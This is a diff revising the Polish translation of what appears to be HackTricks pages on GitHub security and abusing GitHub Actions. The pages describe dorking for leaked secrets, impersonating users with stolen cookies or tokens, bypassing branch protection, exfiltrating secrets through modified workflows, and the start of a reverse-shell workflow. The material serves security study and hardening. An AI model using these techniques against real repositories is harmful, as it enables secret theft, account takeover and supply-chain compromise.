-Github pozwala na **wyszukiwanie czegoś, określając jako zakres użytkownika, repozytorium lub organizację**. Dlatego z listą ciągów, które będą się pojawiać blisko wrażliwych informacji, możesz łatwo **wyszukiwać potencjalne wrażliwe informacje w swoim celu**.
+Github pozwala na **wyszukiwanie czegoś, określając jako zakres użytkownika, repo lub organizację**. Dlatego z listą ciągów, które będą się pojawiać blisko wrażliwych informacji, możesz łatwo **wyszukiwać potencjalne wrażliwe informacje w swoim celu**.
 
 Narzędzia (każde narzędzie zawiera swoją listę dorks):
 
-- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Lista Dorks](https://github.com/obheda12/GitDorker/tree/master/Dorks))
-- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Lista Dorks](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
-- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Lista Dorks](https://github.com/hisxo/gitGraber/tree/master/wordlists))
+- [https://github.com/obheda12/GitDorker](https://github.com/obheda12/GitDorker) ([Dorks list](https://github.com/obheda12/GitDorker/tree/master/Dorks))
+- [https://github.com/techgaun/github-dorks](https://github.com/techgaun/github-dorks) ([Dorks list](https://github.com/techgaun/github-dorks/blob/master/github-dorks.txt))
+- [https://github.com/hisxo/gitGraber](https://github.com/hisxo/gitGraber) ([Dorks list](https://github.com/hisxo/gitGraber/tree/master/wordlists))
 
 ### Github Leaks
 
-Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania wycieków przy użyciu opcji wyszukiwania github. Ta sekcja jest poświęcona tym narzędziom, które **pobierają każde repozytorium i wyszukują w nich wrażliwe informacje** (nawet sprawdzając pewną głębokość commitów).
+Proszę zauważyć, że github dorks są również przeznaczone do wyszukiwania wycieków przy użyciu opcji wyszukiwania github. Ta sekcja jest poświęcona tym narzędziom, które **pobierają każde repo i wyszukują w nich wrażliwe informacje** (nawet sprawdzając pewną głębokość commitów).
 
 Narzędzia (każde narzędzie zawiera swoją listę regexów):
 
@@ -47,11 +47,11 @@ Narzędzia (każde narzędzie zawiera swoją listę regexów):
 - [https://github.com/awslabs/git-secrets](https://github.com/awslabs/git-secrets)
 
 > [!WARNING]
-> Kiedy szukasz wycieków w repozytorium i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety!
+> Kiedy szukasz wycieków w repo i uruchamiasz coś takiego jak `git log -p`, nie zapomnij, że mogą być **inne gałęzie z innymi commitami** zawierającymi sekrety!
 
 ### Zewnętrzne forki
 
-Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby wiedzieć, czy repozytorium jest podatne, musisz głównie przeczytać konfiguracje yaml Github Actions. [**Więcej informacji na ten temat poniżej**](./#execution-from-a-external-fork).
+Możliwe jest **kompromitowanie repozytoriów poprzez nadużywanie pull requestów**. Aby wiedzieć, czy repozytorium jest podatne, musisz głównie przeczytać pliki konfiguracyjne Github Actions yaml. [**Więcej informacji na ten temat poniżej**](./#execution-from-a-external-fork).
 
 ### Github Leaks w usuniętych/wewnętrznych forkach
 
@@ -61,7 +61,7 @@ Nawet jeśli są usunięte lub wewnętrzne, może być możliwe uzyskanie wrażl
 accessible-deleted-data-in-github.md
 {{#endref}}
 
-## Wzmocnienie organizacji
+## Wzmacnianie organizacji
 
 ### Uprawnienia członków
 
@@ -70,15 +70,15 @@ Istnieją pewne **domyślne uprawnienia**, które mogą być przypisane do **cz
 - **Podstawowe uprawnienia**: Członkowie będą mieli uprawnienia None/Read/write/Admin do repozytoriów organizacji. Zalecane jest **None** lub **Read**.
 - **Forkowanie repozytoriów**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na forkowanie repozytoriów organizacji.
 - **Tworzenie stron**: Jeśli nie jest to konieczne, lepiej **nie pozwalać** członkom na publikowanie stron z repozytoriów organizacji. Jeśli to konieczne, możesz pozwolić na tworzenie publicznych lub prywatnych stron.
-- **Prośby o dostęp do integracji**: Z tym włączonym zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć.
+- **Prośby o dostęp do integracji**: Po włączeniu tego, zewnętrzni współpracownicy będą mogli prosić o dostęp do aplikacji GitHub lub OAuth, aby uzyskać dostęp do tej organizacji i jej zasobów. Zwykle jest to potrzebne, ale jeśli nie, lepiej to wyłączyć.
 - _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
-- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z **uprawnieniami admina** do **repozytorium** będą mogli **zmienić jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie robili rzeczy **publicznymi**, upewnij się, że to jest **wyłączone**.
+- **Zmiana widoczności repozytoriów**: Jeśli włączone, **członkowie** z **uprawnieniami admina** do **repozytorium** będą mogli **zmieniać jego widoczność**. Jeśli wyłączone, tylko właściciele organizacji mogą zmieniać widoczności repozytoriów. Jeśli **nie** chcesz, aby ludzie publikowali rzeczy **publicznie**, upewnij się, że to jest **wyłączone**.
 - _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
 - **Usuwanie i przenoszenie repozytoriów**: Jeśli włączone, członkowie z **uprawnieniami admina** do repozytorium będą mogli **usuwać** lub **przenosić** publiczne i prywatne **repozytoria**.
 - _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
-- **Zezwolenie członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej, aby to było wyłączone.
+- **Pozwól członkom na tworzenie zespołów**: Jeśli włączone, każdy **członek** organizacji będzie mógł **tworzyć** nowe **zespoły**. Jeśli wyłączone, tylko właściciele organizacji mogą tworzyć nowe zespoły. Lepiej jest to wyłączyć.
 - _Nie mogłem znaleźć tych informacji w odpowiedzi API, podziel się, jeśli masz_
-- **Więcej rzeczy można skonfigurować** na tej stronie, ale poprzednie są najbardziej związane z bezpieczeństwem.
+- **Więcej rzeczy można skonfigurować** na tej stronie, ale powyższe są najbardziej związane z bezpieczeństwem.
 
 ### Ustawienia akcji
 
@@ -87,20 +87,20 @@ Kilka ustawień związanych z bezpieczeństwem można skonfigurować dla akcji z
 > [!NOTE]
 > Zauważ, że wszystkie te konfiguracje można również ustawić w każdym repozytorium niezależnie
 
-- **Polityki akcji Github**: Pozwala to wskazać, które repozytoria mogą uruchamiać workflowy i które workflowy powinny być dozwolone. Zaleca się **określenie, które repozytoria** powinny być dozwolone i nie pozwalać na uruchamianie wszystkich akcji.
+- **Polityki akcji Github**: Pozwala to wskazać, które repozytoria mogą uruchamiać workflow i które workflow powinny być dozwolone. Zaleca się **określenie, które repozytoria** powinny być dozwolone i nie pozwalać na uruchamianie wszystkich akcji.
 - [**API-1**](https://docs.github.com/en/rest/actions/permissions#get-allowed-actions-and-reusable-workflows-for-an-organization)**,** [**API-2**](https://docs.github.com/en/rest/actions/permissions#list-selected-repositories-enabled-for-github-actions-in-an-organization)
-- **Workflowy pull requestów z zewnętrznych współpracowników**: Zaleca się **wymaganie zatwierdzenia dla wszystkich** zewnętrznych współpracowników.
+- **Workflow pull requestów z zewnętrznych współpracowników**: Zaleca się **wymaganie zatwierdzenia dla wszystkich** zewnętrznych współpracowników.
 - _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_
-- **Uruchamianie workflowów z pull requestów**: Jest to **silnie odradzane, aby uruchamiać workflowy z pull requestów**, ponieważ utrzymujący fork będą mieli możliwość używania tokenów z uprawnieniami do odczytu w repozytorium źródłowym.
+- **Uruchamianie workflow z pull requestów**: Jest **wysoce odradzane uruchamianie workflow z pull requestów**, ponieważ utrzymujący fork będą mieli możliwość używania tokenów z uprawnieniami do odczytu w repozytorium źródłowym.
 - _Nie mogłem znaleźć API z tymi informacjami, podziel się, jeśli masz_
-- **Uprawnienia workflowów**: Silnie zaleca się **przyznawanie tylko uprawnień do odczytu repozytoriów**. Odradza się przyznawanie uprawnień do zapisu i tworzenia/zatwierdzania pull requestów, aby uniknąć nadużywania GITHUB_TOKEN przyznawanego do uruchamiania workflowów.
+- **Uprawnienia workflow**: Zdecydowanie zaleca się **przyznawanie tylko uprawnień do odczytu repozytoriów**. Odradza się przyznawanie uprawnień do zapisu i tworzenia/zatwierdzania pull requestów, aby uniknąć nadużywania GITHUB_TOKEN przyznawanego do uruchamiania workflow.
 - [**API**](https://docs.github.com/en/rest/actions/permissions#get-default-workflow-permissions-for-an-organization)
 
 ### Integracje
 
 _Daj mi znać, jeśli znasz punkt końcowy API, aby uzyskać te informacje!_
 
-- **Polityka dostępu aplikacji zewnętrznych**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie).
+- **Polityka dostępu aplikacji stron trzecich**: Zaleca się ograniczenie dostępu do każdej aplikacji i zezwolenie tylko na te potrzebne (po ich przeglądzie).
 - **Zainstalowane aplikacje GitHub**: Zaleca się zezwolenie tylko na te potrzebne (po ich przeglądzie).
 
 ## Rozpoznanie i ataki nadużywające poświadczeń
@@ -114,21 +114,21 @@ Jeśli w jakiś sposób masz już poświadczenia dla użytkownika w organizacji,
 Zauważ, że **2FA może być używane**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz tę kontrolę**.
 
 > [!NOTE]
-> Zauważ, że jeśli **uda ci się ukraść ciasteczko `user_session`** (aktualnie skonfigurowane z SameSite: Lax), możesz **całkowicie podszyć się pod użytkownika** bez potrzeby posiadania poświadczeń lub 2FA.
+> Zauważ, że jeśli **uda ci się ukraść cookie `user_session`** (aktualnie skonfigurowane z SameSite: Lax), możesz **całkowicie podszyć się pod użytkownika** bez potrzeby posiadania poświadczeń lub 2FA.
 
-Sprawdź sekcję poniżej o [**obejściach ochrony gałęzi**](./#branch-protection-bypass), jeśli to może być przydatne.
+Sprawdź sekcję poniżej o [**obejściach ochrony gałęzi**](./#branch-protection-bypass), jeśli to będzie przydatne.
 
 ### Z kluczem SSH użytkownika
 
 Github pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (nie stosuje się 2FA).
 
-Z tym kluczem możesz dokonywać **zmian w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API github, aby enumerować środowisko. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
+Z tym kluczem możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API github, aby enumerować środowisko. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
 ```bash
 # Go to the the repository folder
 # Get repo config and current user name and email
 git config --list
 ```
-Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika github, możesz uzyskać dostęp do **publicznych kluczy, które ustawił** w swoim koncie pod adresem _https://github.com/\<github_username>.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
+Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika github, możesz uzyskać dostęp do **publicznych kluczy, które ustawił** na swoim koncie w _https://github.com/\<github_username>.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
 
 **Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchomić projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi.
 
@@ -142,9 +142,9 @@ gpg --list-secret-keys --keyid-format=long
 ```
 ### Z tokenem użytkownika
 
-Aby uzyskać wprowadzenie do [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens).
+Aby uzyskać wprowadzenie do [**Tokenów użytkownika sprawdź podstawowe informacje**](basic-github-information.md#personal-access-tokens).
 
-Token użytkownika może być używany **zamiast hasła** do Git przez HTTPS lub może być używany do [**uwierzytelniania w API za pomocą Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). W zależności od przypisanych do niego uprawnień, możesz być w stanie wykonać różne akcje.
+Token użytkownika może być używany **zamiast hasła** do Git przez HTTPS lub może być używany do [**uwierzytelniania w API za pomocą Basic Authentication**](https://docs.github.com/v3/auth/#basic-authentication). W zależności od przypisanych do niego uprawnień możesz być w stanie wykonać różne akcje.
 
 Token użytkownika wygląda tak: `ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123`
 
@@ -177,10 +177,10 @@ abusing-github-actions/
 ## Ominięcie ochrony gałęzi
 
 - **Wymagaj liczby zatwierdzeń**: Jeśli skompromitowałeś kilka kont, możesz po prostu zaakceptować swoje PR z innych kont. Jeśli masz tylko konto, z którego utworzyłeś PR, nie możesz zaakceptować swojego własnego PR. Jednak jeśli masz dostęp do środowiska **Github Action** w repozytorium, używając **GITHUB_TOKEN**, możesz być w stanie **zatwierdzić swój PR** i w ten sposób uzyskać 1 zatwierdzenie.
-- _Uwaga dla tego i dla ograniczenia Właścicieli Kodów, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to nadużyć, aby zaakceptować swoje PR._
+- _Uwaga dla tego i dla ograniczenia Właścicieli kodu, że zazwyczaj użytkownik nie będzie mógł zatwierdzić swoich własnych PR, ale jeśli możesz, możesz to nadużyć, aby zaakceptować swoje PR._
 - **Odrzuć zatwierdzenia, gdy nowe commity są przesyłane**: Jeśli to nie jest ustawione, możesz przesłać legalny kod, poczekać, aż ktoś go zatwierdzi, a następnie dodać złośliwy kod i połączyć go z chronioną gałęzią.
-- **Wymagaj przeglądów od Właścicieli Kodów**: Jeśli to jest aktywowane i jesteś Właścicielem Kodu, możesz sprawić, że **Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie**.
-- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza problemu, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli Kodów nie jest stosowana.**
+- **Wymagaj przeglądów od Właścicieli kodu**: Jeśli to jest aktywowane i jesteś Właścicielem kodu, możesz sprawić, że **Github Action utworzy twój PR, a następnie zatwierdzisz go samodzielnie**.
+- Gdy plik **CODEOWNER jest źle skonfigurowany**, Github nie zgłasza problemu, ale go nie używa. Dlatego, jeśli jest źle skonfigurowany, **ochrona Właścicieli kodu nie jest stosowana.**
 - **Zezwól określonym aktorom na ominięcie wymagań dotyczących pull requestów**: Jeśli jesteś jednym z tych aktorów, możesz ominąć ochrony pull requestów.
 - **Uwzględnij administratorów**: Jeśli to nie jest ustawione i jesteś administratorem repozytorium, możesz ominąć te ochrony gałęzi.
 - **Przechwytywanie PR**: Możesz być w stanie **zmodyfikować PR kogoś innego**, dodając złośliwy kod, zatwierdzając wynikowy PR samodzielnie i łącząc wszystko.
@@ -192,9 +192,9 @@ abusing-github-actions/
 
 Aby uzyskać wprowadzenie do [**Środowiska Github sprawdź podstawowe informacje**](basic-github-information.md#git-environments).
 
-W przypadku, gdy środowisko może być **dostępne ze wszystkich gałęzi**, **nie jest chronione** i możesz łatwo uzyskać dostęp do sekretów w środowisku. Zauważ, że możesz znaleźć repozytoria, w których **wszystkie gałęzie są chronione** (poprzez określenie ich nazw lub użycie `*`), w tym scenariuszu, **znajdź gałąź, w której możesz przesyłać kod** i możesz **wyeksportować** sekrety, tworząc nową akcję github (lub modyfikując jedną).
+W przypadku, gdy środowisko może być **dostępne ze wszystkich gałęzi**, **nie jest chronione** i możesz łatwo uzyskać dostęp do sekretów wewnątrz środowiska. Zauważ, że możesz znaleźć repozytoria, w których **wszystkie gałęzie są chronione** (poprzez określenie ich nazw lub użycie `*`), w tym scenariuszu, **znajdź gałąź, w której możesz przesyłać kod** i możesz **wyeksportować** sekrety, tworząc nową github action (lub modyfikując jedną).
 
-Zauważ, że możesz napotkać przypadek brzegowy, w którym **wszystkie gałęzie są chronione** (poprzez symbol wieloznaczny `*`), określono **kto może przesyłać kod do gałęzi** (_możesz to określić w ochronie gałęzi_), a **twój użytkownik nie ma pozwolenia**. Możesz nadal uruchomić niestandardową akcję github, ponieważ możesz utworzyć gałąź i użyć wyzwalacza przesyłania nad nią. **Ochrona gałęzi zezwala na przesyłanie do nowej gałęzi, więc akcja github zostanie wyzwolona**.
+Zauważ, że możesz napotkać przypadek brzegowy, w którym **wszystkie gałęzie są chronione** (poprzez symbol wieloznaczny `*`), określono **kto może przesyłać kod do gałęzi** (_możesz to określić w ochronie gałęzi_), a **twój użytkownik nie ma pozwolenia**. Możesz nadal uruchomić niestandardową github action, ponieważ możesz utworzyć gałąź i użyć wyzwalacza przesyłania nad nią. **Ochrona gałęzi zezwala na przesyłanie do nowej gałęzi, więc github action zostanie wyzwolona**.
 ```yaml
 push: # Run it when a push is made to a branch
 branches:
diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
index e231ee5be..4dc2e7c6a 100644
--- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
+++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md
@@ -1,20 +1,20 @@
-# Abusing Github Actions
+# Wykorzystywanie Github Actions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Podstawowe informacje
 
 Na tej stronie znajdziesz:
 
-- **podsumowanie wszystkich skutków** ataku, gdy napastnik uzyska dostęp do Github Action
+- **Podsumowanie wszystkich skutków** dostępu atakującego do Github Action
 - Różne sposoby na **uzyskanie dostępu do akcji**:
 - Posiadanie **uprawnień** do tworzenia akcji
 - Wykorzystywanie wyzwalaczy związanych z **pull request**
 - Wykorzystywanie **innych technik zewnętrznego dostępu**
 - **Pivoting** z już skompromitowanego repozytorium
-- Na koniec sekcja o **technikach poeksploatacyjnych do wykorzystywania akcji od wewnątrz** (powodujących wspomniane skutki)
+- Na koniec sekcja o **technikach post-exploitation do wykorzystywania akcji od wewnątrz** (powodując wspomniane skutki)
 
-## Impacts Summary
+## Podsumowanie skutków
 
 Aby uzyskać wprowadzenie do [**Github Actions sprawdź podstawowe informacje**](../basic-github-information.md#github-actions).
 
@@ -23,7 +23,7 @@ Jeśli możesz **wykonywać dowolny kod w GitHub Actions** w ramach **repozytori
 - **Kraść sekrety** zamontowane w pipeline i **wykorzystywać uprawnienia pipeline** do uzyskania nieautoryzowanego dostępu do zewnętrznych platform, takich jak AWS i GCP.
 - **Kompromitować wdrożenia** i inne **artefakty**.
 - Jeśli pipeline wdraża lub przechowuje zasoby, możesz zmienić końcowy produkt, umożliwiając atak na łańcuch dostaw.
-- **Wykonywać kod w niestandardowych pracownikach** w celu wykorzystania mocy obliczeniowej i pivotowania do innych systemów.
+- **Wykonywać kod w niestandardowych pracownikach** w celu wykorzystania mocy obliczeniowej i przejścia do innych systemów.
 - **Nadpisywać kod repozytorium**, w zależności od uprawnień związanych z `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
@@ -32,7 +32,7 @@ Ten "**sekret**" (pochodzący z `${{ secrets.GITHUB_TOKEN }}` i `${{ github.toke
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Ten token jest tym samym, który **aplikacja Github będzie używać**, więc może uzyskać dostęp do tych samych punktów końcowych: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+Ten token jest tym samym, którego użyje **Aplikacja Github**, więc może uzyskać dostęp do tych samych punktów końcowych: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
 > Github powinien wydać [**przepływ**](https://github.com/github/roadmap/issues/74), który **pozwala na dostęp między repozytoriami** w GitHub, aby repozytorium mogło uzyskać dostęp do innych wewnętrznych repozytoriów za pomocą `GITHUB_TOKEN`.
@@ -81,7 +81,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!OSTRZEŻENIE]
-> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretach**. Te tokeny mogą dać ci więcej uprawnień do repozytorium i organizacji.
+> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretach**. Te tokeny mogą dać ci większe uprawnienia do repozytorium i organizacji.
 
 <details>
 
@@ -111,7 +111,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Uzyskaj powłokę odwrotną z sekretami</summary>
+<summary>Uzyskaj powłokę odwrotną z tajemnicami</summary>
 ```yaml
 name: revshell
 on:
@@ -143,7 +143,7 @@ Możliwe jest sprawdzenie uprawnień nadanych tokenowi Github w repozytoriach in
 > [!NOTE]
 > To byłby najłatwiejszy sposób na kompromitację akcji Github, ponieważ ten przypadek zakłada, że masz dostęp do **utworzenia nowego repozytorium w organizacji** lub masz **uprawnienia do zapisu w repozytorium**.
 >
-> Jeśli jesteś w tym scenariuszu, możesz po prostu sprawdzić [techniki po eksploatacji](./#post-exploitation-techniques-from-inside-an-action).
+> Jeśli jesteś w tym scenariuszu, możesz po prostu sprawdzić [techniki post eksploatacji](./#post-exploitation-techniques-from-inside-an-action).
 
 ### Wykonanie z Utworzenia Repozytorium
 
@@ -153,7 +153,7 @@ W przypadku, gdy członkowie organizacji mogą **tworzyć nowe repozytoria** i m
 
 Jeśli możesz **utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowaną akcję Github**, możesz ją **zmodyfikować**, **załadować** zawartość, a następnie **wykonać tę akcję z nowej gałęzi**. W ten sposób możesz **wyeksfiltrować sekrety na poziomie repozytorium i organizacji** (ale musisz wiedzieć, jak się nazywają).
 
-Możesz uczynić zmodyfikowaną akcję wykonalną **ręcznie**, gdy **zostanie utworzony PR** lub gdy **zostanie przesłany jakiś kod** (w zależności od tego, jak głośny chcesz być):
+Możesz uczynić zmodyfikowaną akcję wykonalną **ręcznie**, gdy **PR zostanie utworzony** lub gdy **jakikolwiek kod zostanie przesłany** (w zależności od tego, jak głośny chcesz być):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -167,32 +167,32 @@ branches:
 ```
 ---
 
-## Forkowane Wykonanie
+## Wykonanie z Forka
 
 > [!NOTE]
-> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **wykonanie Github Action z innego repozytorium**. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je skompromitować.
+> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **wykonanie akcji Github innego repozytorium**. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je skompromitować.
 
 ### `pull_request`
 
-Wyzwalacz workflow **`pull_request`** wykona workflow za każdym razem, gdy otrzymany zostanie pull request, z pewnymi wyjątkami: domyślnie, jeśli to jest **pierwszy raz**, gdy **współpracujesz**, niektórzy **utrzymujący** będą musieli **zatwierdzić** **wykonanie** workflow:
+Wyzwalacz workflow **`pull_request`** wykona workflow za każdym razem, gdy otrzymany zostanie pull request z pewnymi wyjątkami: domyślnie, jeśli to **pierwszy raz**, gdy **współpracujesz**, niektórzy **utrzymujący** będą musieli **zatwierdzić** **wykonanie** workflow:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Ponieważ **domyślne ograniczenie** dotyczy **pierwszych** współpracowników, możesz przyczynić się do **naprawy ważnego błędu/ortografii**, a następnie wysłać **inne PR-y, aby nadużyć swoich nowych uprawnień `pull_request`**.
+> Ponieważ **domyślne ograniczenie** dotyczy **pierwszych** współpracowników, możesz przyczynić się do **naprawy ważnego błędu/typówki**, a następnie wysłać **inne PR-y, aby nadużyć swoich nowych uprawnień `pull_request`**.
 >
-> **Testowałem to i to nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunięcie jego konta.~~
+> **Testowałem to i to nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunął swoje konto.~~
 
 Ponadto, domyślnie **zapobiega uprawnieniom do zapisu** i **dostępowi do sekretów** w docelowym repozytorium, jak wspomniano w [**dokumentacji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
-> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera**, gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**.
+> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera** gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**.
 
-Atakujący mógłby zmodyfikować definicję Github Action, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.
+Atakujący mógłby zmodyfikować definicję akcji Github, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.
 
 > [!CAUTION]
-> **Tak, jeśli atakujący zmieni w PR github action, która zostanie wyzwolona, jego Github Action będzie używana, a nie ta z repozytorium źródłowego!**
+> **Tak, jeśli atakujący zmieni w PR akcję github, która zostanie wyzwolona, jego akcja Github będzie używana, a nie ta z repozytorium źródłowego!**
 
-Ponieważ atakujący również kontroluje kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na `GITHUB_TOKEN`, atakujący mógłby na przykład **przesłać złośliwe artefakty**.
+Ponieważ atakujący kontroluje również kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na `GITHUB_TOKEN`, atakujący mógłby na przykład **przesłać złośliwe artefakty**.
 
 ### **`pull_request_target`**
 
@@ -217,37 +217,37 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Moreover, according to the docs: Workflow uruchomiony przez zdarzenie `workflow_run` ma możliwość **dostępu do sekretów i zapisywania tokenów, nawet jeśli poprzedni workflow nie miał**.
+Ponadto, zgodnie z dokumentacją: Workflow uruchomiony przez zdarzenie `workflow_run` ma możliwość **dostępu do sekretów i zapisywania tokenów, nawet jeśli poprzedni workflow nie miał**.
 
-Tego rodzaju workflow może być zaatakowany, jeśli **zależy** od **workflow**, który może być **wyzwolony** przez zewnętrznego użytkownika za pomocą **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można [**znaleźć w tym blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy z nich polega na tym, że **`workflow_run`** wyzwolony workflow pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}`\
+Tego rodzaju workflow może być zaatakowany, jeśli **zależy** od **workflow**, który może być **wyzwolony** przez zewnętrznego użytkownika za pomocą **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można [**znaleźć w tym blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy z nich polega na tym, że **workflow_run** wyzwolony przez workflow pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}`\
 Drugi polega na **przekazywaniu** **artefaktu** z **niezaufanego** kodu do workflow **`workflow_run`** i używaniu zawartości tego artefaktu w sposób, który czyni go **podatnym na RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Sprawdź, czy podczas wykonywania z `pull_request` używany/pobierany kod pochodzi z oryginału czy z forka PR
+TODO: Sprawdź, czy podczas wykonywania z `pull_request` używany/pobierany kod pochodzi z oryginału czy z forkowanego PR
 
 ## Wykorzystywanie Wykonania Forków
 
-Wspomnieliśmy o wszystkich sposobach, w jakie zewnętrzny atakujący mógłby sprawić, by workflow githuba został uruchomiony, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystywane:
+Wspomnieliśmy o wszystkich sposobach, w jakie zewnętrzny atakujący mógłby sprawić, że workflow githuba zostanie wykonany, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystywane:
 
-### Wykonanie niezaufanego checkoutu
+### Niezaufane wykonanie checkout
 
 W przypadku **`pull_request`** workflow będzie wykonywany w **kontekście PR** (więc wykona **złośliwy kod PR**), ale ktoś musi **najpierw to autoryzować** i będzie działał z pewnymi [ograniczeniami](./#pull_request).
 
 W przypadku workflow używającego **`pull_request_target` lub `workflow_run`**, który zależy od workflow, który może być wyzwolony z **`pull_request_target` lub `pull_request`**, kod z oryginalnego repozytorium zostanie wykonany, więc **atakujący nie może kontrolować wykonanego kodu**.
 
-> [!CAUTION]
-> Jednak jeśli **akcja** ma **wyraźny checkout PR**, który **pobierze kod z PR** (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie kod PR jest pobierany):
+> [!OSTRZEŻENIE]
